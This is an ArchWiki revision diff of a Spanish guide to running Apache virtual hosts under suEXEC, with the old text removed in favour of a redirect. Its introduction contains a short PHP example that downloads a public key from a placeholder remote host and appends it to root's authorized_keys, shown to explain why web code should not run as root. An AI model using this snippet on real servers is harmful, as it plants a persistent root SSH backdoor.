Difference between revisions of "Apache, suEXEC and Virtual Hosts (Español)"

From ArchWiki
Jump to: navigation, search
m (redirect)
 
(4 intermediate revisions by 4 users not shown)
Line 1: Line 1:
[[Category:Networking (Español)]]
+
#redirect [[Apache_HTTP_Server_(Español)]]
[[en:Apache, suEXEC and Virtual Hosts]]
 
[[zh-CN:Apache, suEXEC and Virtual Hosts]]
 
== Apache, SuExec y los servidores virtuales==
 
 
 
Este documento describe cómo utilizar el módulo SuExec de Apache para suministrar servidores virtuales corriendo com un usuario sin privilegios. Generalmente es una buena práctica no permitir privilegios de superusuario a ninguna parte de lespacio web como muestra de manera un tanto brutal este ejemplo PHP:
 
 
 
<pre>
 
  <?php
 
    # este enlace por supuesto no lleva a ninguna parte
 
    $rsa_key = file('http://yourhost.homeip.net/id_rsa.pub');
 
    exec("cat ${rsa_key[[0]]} >>/root/.ssh/authorized_keys");
 
  ?>
 
</pre>
 
 
 
Coge la idea, verdad? Para impedir esto, no permita nunca a ningún servidor virtual tener acceso de escritura en ninguna parte excepto en su propio directorio personal o en el directorio DocumentRoot. Desgraciadamente este método requiere que Apache sea ejecutado como superusuario para que pueda ser capaz de convertirse en otro usuario pero esto no es una buena idea ya que usted no necesita que Apache se ejecute también como superusuario en el directorio DocumentRoot por defecto.
 
 
 
Debería usted condiderar también el uso de SuExec si pretende tener varias cuentas FTP apuntando a aquellos espacios web que necesiten permisos de escritura manteniéndose la posibilidad de lectura de los ficheros por parte de Apache.
 
<br>
 
==== Prerequisitos====
 
* debería estar familiarizado con la configuración básica de Apache
 
** especialmente con los servidores virtuales
 
* Acceso de superusuario a la caja objetivo
 
* Conocimiento acerca de añadir usuarios
 
* saber trabajar con pacman
 
<br>
 
==== Añadiéndo el módulo SuExec a Apache====
 
* cargue el módulo SuExec en ''/etc/httpd/conf/httpd.conf'' así
 
<pre>
 
LoadModule suexec_module        lib/apache/mod_suexec.so
 
</pre>
 
* asegúrese de que el directorio DocumentRoot por defecto de Apache no corre tampoco como superusuario!
 
<pre>
 
User nobody
 
Group nobody
 
</pre>
 
<br>
 
 
 
==== Establecer un servidor virtual que utilice SuExec====
 
Una manera de hacerlo es directamnete en el archivo ''/etc/httpd/conf/httpd.conf'' pero le sugiero que use un archivo diferente si pretende crear más de una pareja de servidores virtuales. De cualquier manera, un servidor virtual que se supone que utiliza SuExec puede ser algo así:
 
 
 
<pre>
 
<VirtualHost 192.168.0.1:80>
 
        ServerName myhost
 
        ServerAlias  myhost.localdomain
 
        # aquí es donde van las peticiones de /
 
        DocumentRoot /home/www/vhosts/myhost.localdomain/htdocs
 
 
 
        # aquí establece qué usuario (myhost) y qué grupo (ftponly) debería usar Apache
 
        SuexecUserGroup myhost ftponly
 
 
 
        # lo siguiente es opcional pero podría serle útil
 
        ScriptAlias /cgi-bin/ /home/www/vhosts/myhost.localdomain/htdocs/cgi-bin
 
        php_admin_value open_basedir /home/www/vhosts/myhost.localdomain/htdocs
 
        php_admin_value upload_tmp_dir  /home/www/vhosts/myhost.localdomain/htdocs/tmp
 
        php_admin_flag safe_mode On
 
        ErrorDocument 404 /home/www/vhosts/myhost.localdomain
 
        <Directory "/home/www/vhosts/myhost.localdomain/htdocs">
 
                AllowOverride None
 
                Options +SymlinksIfOwnerMatch +Includes
 
        </Directory>
 
</VirtualHost>
 
</pre>
 
<br>
 
 
 
====Deshabilitando el directorio "DocumentRoot" por defecto====
 
Para hacer más segura aún su configuración puede deshabilitar el directorio ''DocumentRoot'' por defecto para que Apache no ejecute nada como lo hace el mismo superuser. Este procedimiento no lo deshabilita realmente, si no que apunta a un lugar donde ya no es accesible remotamente. Se puede lograr esto fácilemente reemplazando su ''ServerName'' por defecto con lo siguiente:
 
 
 
<pre>
 
ServerName localhost:80
 
</pre>
 
 
 
==== Rematando====
 
Como siempre que se cambia la configuración por defecto hay que rearrancar Apache para que los cambios tengan efecto.
 
 
 
<pre>
 
/etc/rc.d/httpd restart
 
</pre>
 
 
 
==== Referencias externas====
 
* más información en profundidad acerca de SuExec: http://httpd.apache.org/docs/suexec.html
 
* lo mismo acerca de los servidores virtuales: http://httpd.apache.org/docs/vhosts/index.html
 
 
 
----
 
Autor: kth5
 

Latest revision as of 21:59, 25 November 2017